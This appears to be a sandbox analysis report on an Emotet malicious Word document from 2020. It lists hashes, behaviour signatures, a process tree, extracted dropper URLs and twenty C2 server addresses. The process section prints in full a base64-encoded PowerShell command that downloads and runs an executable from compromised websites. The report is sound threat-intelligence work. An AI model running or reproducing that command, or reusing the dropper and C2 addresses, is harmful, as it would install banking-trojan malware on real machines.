Overview

overview

10

Static

static

8

emotet_e3_...oc.doc

windows7_x64

10

emotet_e3_...oc.doc

windows10_x64

Analysis

  • max time kernel
    100s
  • max time network
    96s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    12/08/2020, 16:05

Sharing

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General

  • Target
    emotet_e3_3ca4673735b5baa8bcbccb8f4fc744a0da8fd4074ea63f2180b04b26742dc3a5_2020-08-12__160405._doc.doc
  • Size 228KB
  • Sample200812-wp5k7y7yn6
  • SHA256 3ca4673735b5baa8bcbccb8f4fc744a0da8fd4074ea63f2180b04b26742dc3a5
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://www.popfizzion.com/wp-content/zcek347/
  • exe.dropper

    http://uniteddatabase.net/wp-content/QMqmK/
  • exe.dropper

    http://utah211.org/prototype/VAOWTSmQ/
  • exe.dropper

    http://www.duhallow.com/wp-content/0BmNgw0vb6ls79217572/
  • exe.dropper

    https://dubai-homes.ae/wp-admin/jlnlcp0uy616621042/

Extracted

Family

  • emotet

C2

  • 176.216.226.44:80

  • 159.203.232.29:8080

  • 185.86.148.68:443

  • 97.104.107.190:80

  • 178.33.167.120:8080

  • 46.105.131.68:8080

  • 78.189.60.109:443

  • 198.57.203.63:8080

  • 153.220.182.49:80

  • 143.95.101.72:8080

  • 105.213.67.88:80

  • 203.153.216.182:7080

  • 77.74.78.80:443

  • 185.208.226.142:8080

  • 188.251.213.180:443

  • 192.163.221.191:8080

  • 172.105.78.244:8080

  • 50.116.78.109:8080

  • 46.32.229.152:8080

  • 201.235.10.215:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_3ca4673735b5baa8bcbccb8f4fc744a0da8fd4074ea63f2180b04b26742dc3a5_2020-08-12__160405._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:748
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABQAEUASABUAEUAbABqAHUAPQAnAEQAUABHAE0AVwB5AG8AbAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAAZQBDAFUAUgBJAHQAWQBQAFIAbwBUAGAATwBjAGAATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARwBCAFUAWABTAHgAcgBsACAAPQAgACcAMQA3ADIAJwA7ACQARQBNAEcAVABJAHIAbQB0AD0AJwBIAEoAQgBTAEkAZAB4AHEAJwA7ACQARgBHAFkASABEAHUAZwBqAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABHAEIAVQBYAFMAeAByAGwAKwAnAC4AZQB4AGUAJwA7ACQATABDAE4AWABKAG8AZAB0AD0AJwBUAEUAVgBKAEgAdABjAGgAJwA7ACQAWgBaAEYASQBUAHQAcQBrAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAagAnACsAJwBlAGMAdAAnACkAIABuAEUAdAAuAHcAZQBCAEMATABJAGUAbgB0ADsAJABMAFEAQQBBAFMAdwB0AHUAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBwAG8AcABmAGkAegB6AGkAbwBuAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AegBjAGUAawAzADQANwAvACoAaAB0AHQAcAA6AC8ALwB1AG4AaQB0AGUAZABkAGEAdABhAGIAYQBzAGUALgBuAGUAdAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBRAE0AcQBtAEsALwAqAGgAdAB0AHAAOgAvAC8AdQB0AGEAaAAyADEAMQAuAG8AcgBnAC8AcAByAG8AdABvAHQAeQBwAGUALwBWAEEATwBXAFQAUwBtAFEALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBkAHUAaABhAGwAbABvAHcALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwAwAEIAbQBOAGcAdwAwAHYAYgA2AGwAcwA3ADkAMgAxADcANQA3ADIALwAqAGgAdAB0AHAAcwA6AC8ALwBkAHUAYgBhAGkALQBoAG8AbQBlAHMALgBhAGUALwB3AHAALQBhAGQAbQBpAG4ALwBqAGwAbgBsAGMAcAAwAHUAeQA2ADEANgA2ADIAMQAwADQAMgAvACcALgAiAHMAYABwAGwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASQBLAFkAQgBSAHIAYgBtAD0AJwBDAFgAWQBKAFoAaQBxAHoAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEYAQgBZAEoAVABzAG0AdQAgAGkAbgAgACQATABRAEEAQQBTAHcAdAB1ACkAewB0AHIAeQB7ACQAWgBaAEYASQBUAHQAcQBrAC4AIgBkAE8AVwBOAGwAbwBgAEEAZABmAEkAYABsAGUAIgAoACQARgBCAFkASgBUAHMAbQB1ACwAIAAkAEYARwBZAEgARAB1AGcAagApADsAJABBAEcARABTAFAAcAB0AHQAPQAnAEwAWQBCAEgAUABhAGIAbwAnADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEYARwBZAEgARAB1AGcAagApAC4AIgBMAGUAbgBnAGAAVABoACIAIAAtAGcAZQAgADIANAAwADMANQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwByAGUAYABBAHQARQAiACgAJABGAEcAWQBIAEQAdQBnAGoAKQA7ACQASgBLAFcAVgBYAHIAYgB2AD0AJwBLAEYATgBTAEgAcgBjAGEAJwA7AGIAcgBlAGEAawA7ACQAUQBWAEoASQBZAGMAcQBuAD0AJwBVAEkAWABJAEsAZAByAHEAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARQBLAEcAQQBPAHQAcwBqAD0AJwBZAEcAVQBRAE4AYQBjAHkAJwA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1916
  • C:\Users\Admin\172.exe
    C:\Users\Admin\172.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1984
    • C:\Windows\SysWOW64\WINSRPC\KBDSL1.exe
      "C:\Windows\SysWOW64\WINSRPC\KBDSL1.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1556

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/364-24-0x000007FEF2600000-0x000007FEF287A000-memory.dmp
        Download

        memory/748-3-0x0000000006E30000-0x0000000007030000-memory.dmp
        Download

        memory/748-4-0x0000000006E30000-0x0000000007030000-memory.dmp
        Download

        memory/748-6-0x000000000ADF0000-0x000000000ADF4000-memory.dmp
        Download

        memory/748-7-0x000000000BE70000-0x000000000BE74000-memory.dmp
        Download

        memory/748-10-0x0000000002180000-0x0000000002181000-memory.dmp
        Download

        memory/748-2-0x0000000008920000-0x0000000008924000-memory.dmp
        Download

        memory/1556-23-0x0000000000270000-0x000000000027C000-memory.dmp
        Download

        memory/1916-15-0x0000000001F90000-0x0000000001F91000-memory.dmp
        Download

        memory/1916-17-0x000000001B700000-0x000000001B701000-memory.dmp
        Download

        memory/1916-16-0x000000001C4F0000-0x000000001C4F1000-memory.dmp
        Download

        memory/1916-14-0x0000000002070000-0x0000000002071000-memory.dmp
        Download

        memory/1916-13-0x000000001AD90000-0x000000001AD91000-memory.dmp
        Download

        memory/1916-12-0x0000000002030000-0x0000000002031000-memory.dmp
        Download

        memory/1916-9-0x000007FEF1E90000-0x000007FEF287C000-memory.dmp
        Download

        memory/1984-20-0x00000000002E0000-0x00000000002EC000-memory.dmp
        Download